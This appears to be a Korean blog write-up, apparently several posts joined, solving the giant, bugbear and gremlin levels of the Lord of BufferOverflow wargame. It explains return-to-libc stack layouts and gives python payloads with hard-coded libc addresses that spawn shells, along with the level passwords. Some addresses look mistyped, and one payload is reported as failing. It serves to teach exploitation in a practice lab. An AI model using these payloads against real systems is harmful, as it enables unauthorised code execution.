giant의 소스를 확인하도록 하겠습니다.

소스코드가 많이 길어졌습니다.

먼저 코드의 설명을 하도록 하겠습니다.

 

우선 24~27번까지의 코드를 이용해 libc의 메모리 주소를 획득합니다.

libc가 위치하고 있는 메모리의 주소는 0x40018000입니다.

 

그리고 29~32번까지의 코드를 통해 execve의 오프셋을 구합니다.

execve의 오프셋은 0x00091d48입니다.

 

그리고 34번의 코드를 통해 execve의 메모리상 주소를 구합니다.

0x40018000 + 0x00091d48를 통해 얻은 execve의 메모리상 주소는 0x400a9d48입니다.

 

그후 조건 검사를 통해 argv[1][44]에 오게 되는 주소의 값이 execve의 주소와 같지 않으면 프로그램을 종료합니다.

 

즉 우리는 execve함수를 이용하여 이번문제를 풀어야 합니다.


execve함수에 대한 설명은 다음과 같습니다.

첫번째 인자를 실행하며 두번째 인자는 전달해줄 매개변수 입니다. 세번째 변수는 환경변수가 들어갑니다.

 

Execve에는 exit를 전달하여 바로 종료 execve를 바로 종료하고 system(“/bin/sh”)로 쉘을 획득 할 것입니다.

이를 위한 스택 구조는 다음과 같습니다.

NULL

“/bin/sh”’s address

exit’s address

system()’s address

execve’s address

SFP

Buffer(44byte)

Execve의 값은 0x400a9d48로 구해놓았습니다.

 

나머지 값을 알아보도록 하겠습니다.

system exit함수의 주소는 디버깅을 통해 구하면 됩니다.

system()의 주소는 0x40058ae0,

exit()의 주소는 0x400391e0이네요.

 

이제 /bin/sh의 주소를 얻도록 하겠습니다.

“/bin/sh”가 들어있는 메모리 주소는 0x400fbff9입니다.

NULL은 스택의 0xbfffffffc영역에는 항상 NULL이 들어가므로 이를 이용하겠습니다.

 

다시한번 필요한 정보를 정리해보겠습니다.

execve           : 0x400a9d48

system           : 0x40058ae0

exit               : 0x400391e0

“/bin/sh”        : 0x400fbff9

NULL             : 0xbffffffc

 

이 정보를 종합하여 페이로드를 짜면 다음과 같이 됩니다.

`python –c ‘print “A”*44 + “\x48\x9d\x0a\x40” + “\xe0\x8a\x05\x40” + “\xe0\x91\x03\x40” + “\xf9\xbf\x0f\x40” + “\xfc\xff\xff\xbf”’`


이제 이를 입력하도록 하겠습니다.

이때 중요한것은 \x0a\x00으로 인식하여 뒷부분이 들어가지 않으므로 매개변수를 “”로 묶어 주어야 합니다.

giant의 쉘이 떳습니다.

giant의 패스워드는 one step closer입니다.

 

이 방법 이외에도

execve(&“/bin/sh”, &&”/bin/sh”, NULL)과 같은 입력을 하는 것으로 스택을 구성하여 푸는 방법도 있습니다.


&”/bin/sh”0x400fbff9를 입력해 주면 되고

&&”/bin/sh”는 이름이 0x400fbff9giant의 링크파일을 생성하여 그것이 메모리에 올라가게 하여 그 메모리를 이용하는 것입니다.


이경우의 페이로드는 다음과 같이 됩니다.

`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xfb"'`"


그러나 저는 다음 사진 처럼 쉘이 뜨지않고 그냥 종료되어 방법을 변경하였습니다.


bugbear의 소스를 확인하는 것으로 시작하겠습니다.

스택이 배신을 했다고 나오네요. 시작주소가 메모리의 시작주소가 \xbf인 곳은 사용 불가능합니다.

그럼 메모리의 공유 라이브러리 쪽의 함수를 사용하는 RTL기법을 사용하면 될듯 합니다.

RTL기법은 LOB gate를 풀 때 보다 자세히 적어 놓았습니다.

http://grayfieldbox.tistory.com/entry/LOBLord-Of-BufferOverflow-gate-gremlin

 

system(“/bin/sh”);라는 명령어를 스택에 구축하도록 하겠습니다.

만들어주어야 하는 스택의 모습은 다음과 같습니다.

“/bin/sh”’s address

junk(4byte);

system()’s address

SFP

buffer(44byte)

 

우선 system()함수가 들어있는 주소를 알아내도록 하겠습니다.

0x40058ae0system()이 존재하네요.

 

이제 /bin/sh의 문자열을 메모리에 넣고 주소값을 얻어내겠습니다.

/bin/sh가 들어있는 주소는 0x400fbff9입니다.

 

페이로드는 다음과 같이 됩니다.

“A”*44 + “\xe0\x8a\x05\x40” + “\x90”*4 +”\xf9\xbf\x0f\x40”

예상대로 쉘이 획득 되었습니다.


이제 원본 파일을 대상으로 진행하겠습니다.

성공적으로 bugbear의 쉘이 획득 되었습니다.

bugbear의 패스워드는 new divide입니다.

LOB의 시작 계정은 gate/gate입니다.

gremlin.c의 소스를 확인해 보도록 하겠습니다.

간단한 코드네요.

strcpy를 사용 하고 있으므로 쉘코드를 등록하고 ret를 쉘코드의 주소로 변경해 주면 될것 같습니다.

gdb로 확인해 본 결과 strcpy에서 입력하는 주소의 위치가 ebp-256이므로 ret를 덮어 쓰기 위해서는 260byte를 채우고 쉘코드의 주소를 입력해 주면 될 것 같습니다.

 

그럼 쉘코드를 등록하고 주소를 확인 하도록 하겠습니다.

그전에 우선 bash에서는 \xff를 인식 못하는 버그가 있으므로 bash2를 사용하도록 하겠습니다.

bash2로 쉘을 변경해 주고, 쉘코드를 등록한 후 쉘코드의 주소를 확인했습니다.

쉘코드의 주소는 0xBFFFFE3D이네요.

 

이제 260byteA로 채우고 0xBFFFFE3D을 입력해주겠습니다.

 

…………

Segmentation fault…극혐이네요..

몇번을 해도 계속 Segmentation fault가 떠서 방법을 바꾸도록 하겠습니다.

(분명 그냥 풀땐 떴는데…… 라이트업 쓰려고 하니 안뜨네.. 망할 시연의 법칙ㅡㅡ)

 

대신 사용할 방법은 RTL입니다.

RTL이란 Return To Library의 줄임말로 기본적으로 system()를 이용합니다.

만약 system(“/bin/sh”);라는 명령을 입력할 수 있다면, 쉘이 뜨겠죠?

 

스택을 보면서 간단히 설명해 드리도록 하겠습니다.

argv

argc

ret

sFP

buffer(256byte)

현재 스택 상황입니다.

쉘코드를 통한 문제 풀이는 ret를 쉘코드가 들어있는 주소로 덮어 씌워 주는 것이죠.

 

RTL을 통한 문제풀이도 크게 다르지 않습니다.

만약 retsystem()이 들어있는 주소로 덮어 씌우면 함수가 끝날때 eipsystem()으로 바뀌게 됩니다.

그리고 system함수 시작지점에서 push ebp 를 해줄태고 mov ebp, esp를 해주게 됩니다.

그리고 system함수는 ebp+8지점을 첫번째 인자로 사용합니다.

 

즉 스택을 다음과 같이 구성하면 system(“/bin/sh”);를 호출하게 되겠죠.

“/bin/sh”’s address

Junk (4byte)

system()’s address

8byte가 아니고 4byte인지 이해가 안가실 수 있으니 다시 설명해 드리겠습니다.(제가 그랬습니다…)

 

함수가 끝나면 ret(pop eip)를 통해 system함수의 주소가 eip로 들어갑니다.

그럼 pop을 했으니 스택은 다음과 같이 됩니다.

“/bin/sh”’s address

Junk (4byte)

 

그리고 system함수의 프롤로그 push ebp, mov ebp, esp를 하게되면 스택이 다음과 같이 바뀌게 됩니다.

“/bin/sh”’s address

Junk (4byte)

SFP

이부분이 system함수의 프롤로그가 지난 부분입니다. Ebp+8지점에 첫번째 인자가 들어가 있음을 알수 있습니다. Junksystem함수가 끝난 후의 return 주소가 들어가게 되겠네요.

보통 프로그램의 정상적인 종료를 위해 junkexit()함수의 주소값을 넣어주기도 합니다.

 

그럼 우리가 만들어 주어야 할 스택의 전체적인 모습은 다음과 같이 됩니다.

“/bin/sh”’s address

junk (4byte)

system()’s address

SFP

buffer(256byte)

 

이러한 스택을 만들어 주기 위해서는 우선 system()함수가 들어있는 주소를 알아내야 합니다.

 

gremlin을 복사해 gdb로 열어 확인하도록 하겠습니다.

main에 중단점을 설정하고 실행한후 system함수의 위치를 구하였습니다. 0x40058ae0system이 들어있네요.

 

이제 /bin/sh의 문자열을 메모리에 넣고 주소값만 얻으면 됩니다.

메모리에 있는 /bin/sh문자열의 주소값을 비교를 통해 얻었습니다.

주소는 0x400fbff9이네요.

 

이제 다음과 같이 스택을 채우면 됩니다.

0x400fbff9

Junk (4byte)

0x40058ae0

SFP

Buffer(256byte)

 

“A”*260 + “\xe0\x8a\x05\x40” + “\x90”*4 + “\xf9\xbf\x0f\x40” 이렇게 입력해주면 될듯 합니다.

정상적으로 gremlin권한의 쉘이 떴네요.


gremlin의 패스워드는 hello bof world입니다.

+ Recent posts